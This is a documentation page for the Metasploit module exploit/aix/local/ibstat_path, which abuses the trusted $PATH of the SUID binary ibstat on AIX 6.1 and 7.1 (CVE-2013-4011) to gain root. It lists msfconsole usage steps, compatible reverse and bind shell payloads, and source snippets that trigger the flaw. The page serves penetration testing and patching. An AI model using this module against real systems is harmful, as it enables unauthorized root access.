ibstat $PATH Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/aix/local/ibstat_path metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ibstat $PATH Privilege Escalation
Module: exploit/aix/local/ibstat_path
Source code: modules/exploits/aix/local/ibstat_path.rb
Disclosure date: 2013-09-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-4011
This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/aix/local/ibstat_path
msf exploit(ibstat_path) > show targets
... a list of targets ...
msf exploit(ibstat_path) > set TARGET target-id
msf exploit(ibstat_path) > show options
... show and set options ...
msf exploit(ibstat_path) > set SESSION session-id
msf exploit(ibstat_path) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the aix/local/ibstat_path exploit module looks in the msfconsole:
msf6 > use exploit/aix/local/ibstat_path
msf6 exploit(aix/local/ibstat_path) > show info
Name: ibstat $PATH Privilege Escalation
Module: exploit/aix/local/ibstat_path
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-09-24
Provided by:
Kristian Erik Hermansen
Sagi Shahar <[email protected]>
Kostas Lintovois <[email protected]>
Available targets:
Id Name
-- ----
0 IBM AIX Version 6.1
1 IBM AIX Version 7.1
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
WritableDir /tmp yes A directory where we can write files
Payload information:
Description:
This module exploits the trusted $PATH environment variable of the
SUID binary "ibstat".
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-4011
OSVDB (95420)
http://www.securityfocus.com/bid/61287
http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827
http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756
Module Options
This is a complete list of options available in the aix/local/ibstat_path exploit:
msf6 exploit(aix/local/ibstat_path) > show options
Module options (exploit/aix/local/ibstat_path):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
WritableDir /tmp yes A directory where we can write files
Exploit target:
Id Name
-- ----
1 IBM AIX Version 7.1
Advanced Options
Here is a complete list of advanced options supported by the aix/local/ibstat_path exploit:
msf6 exploit(aix/local/ibstat_path) > show advanced
Module advanced options (exploit/aix/local/ibstat_path):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the aix/local/ibstat_path module can exploit:
msf6 exploit(aix/local/ibstat_path) > show targets
Exploit targets:
Id Name
-- ----
0 IBM AIX Version 6.1
1 IBM AIX Version 7.1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the aix/local/ibstat_path exploit:
msf6 exploit(aix/local/ibstat_path) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
3 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
Evasion Options
Here is the full list of possible evasion options supported by the aix/local/ibstat_path exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(aix/local/ibstat_path) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target is not vulnerable.
Here is a relevant code snippet related to the "Target is not vulnerable." error message:
58: Exploit::CheckCode::Safe
59: end
60:
61: def exploit
62: if check == Exploit::CheckCode::Safe
63: fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
64: else
65: print_good("Target is vulnerable.")
66: end
67:
68: root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
Found no interface, defaulting to en0.
Here is a relevant code snippet related to the "Found no interface, defaulting to en0." error message:
118: break
119: end
120: end
121: if iface == ""
122: iface = "en0"
123: print_status("Found no interface, defaulting to en0.")
124: end
125:
126: print_status("Triggering vulnerablity...")
127: cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null")
128:
gcc not found. Using /bin/sh from local system
Here is a relevant code snippet related to the "gcc not found. Using /bin/sh from local system" error message:
148: if gcc_whereis_output.include?("/")
149: print_good("gcc found!")
150: return true
151: end
152:
153: print_status("gcc not found. Using /bin/sh from local system")
154: false
155: end
156:
157: def is_root?
158: id_output = cmd_exec("id")
Exploit failed
Here is a relevant code snippet related to the "Exploit failed" error message:
162: return true
163: end
164: if id_output.include?("uid=0(root)")
165: print_good("Got root!")
166: return true
167: end
168:
169: print_error("Exploit failed")
170: false
171: end
172: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #3384 Merged Pull Request: Update ibstat_path.rb
- #3046 Merged Pull Request: Add AIX 6.1/7.1 ibstat $PATH Local Priv-Esc
References
- CVE-2013-4011
- OSVDB (95420)
- BID-61287
- http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827
- http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756
See Also
Check also the following modules related to this module:
- exploit/aix/local/xorg_x11_server
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/windows/fileformat/deepburner_path
- exploit/windows/local/unquoted_service_path
- auxiliary/scanner/http/apache_normalize_path
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/moodle_spelling_path_rce
- auxiliary/scanner/http/xpath
- exploit/aix/rpc_ttdbserverd_realpath
- exploit/linux/local/glibc_realpath_priv_esc
- exploit/multi/local/xorg_x11_suid_server_modulepath
- exploit/windows/browser/aladdin_choosefilepath_bof
- exploit/windows/http/hp_nnm_ovbuildpath_textfile
- exploit/windows/iis/iis_webdav_scstoragepathfromurl
- exploit/aix/rpc_cmsd_opcode21
- payload/aix/ppc/shell_bind_tcp
- payload/aix/ppc/shell_find_port
- payload/aix/ppc/shell_interact
- payload/aix/ppc/shell_reverse_tcp
- post/aix/hashdump
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/manage/sudo
Related Nessus plugins:
- AIX 7.1 TL 2 : infiniband (IV43561)
- AIX 7.1 TL 0 : infiniband (IV43562)
- AIX 6.1 TL 8 : infiniband (IV43580)
- AIX 6.1 TL 6 : infiniband (IV43582)
- AIX 7.1 TL 1 : infiniband (IV43756)
- AIX 6.1 TL 7 : infiniband (IV43827)
- AIX 6.1 TL 8 : devices.common.IBM.ib.rte (U855978)
- AIX 7.1 TL 2 : devices.common.IBM.ib.rte (U857552)
- AIX 7.1 TL 1 : devices.common.IBM.ib.rte (U855867)
- AIX 7.1 / 7.1 TL 3 : devices.common.IBM.ib.rte (U858349)
Authors
- Kristian Erik Hermansen
- Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>
- Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.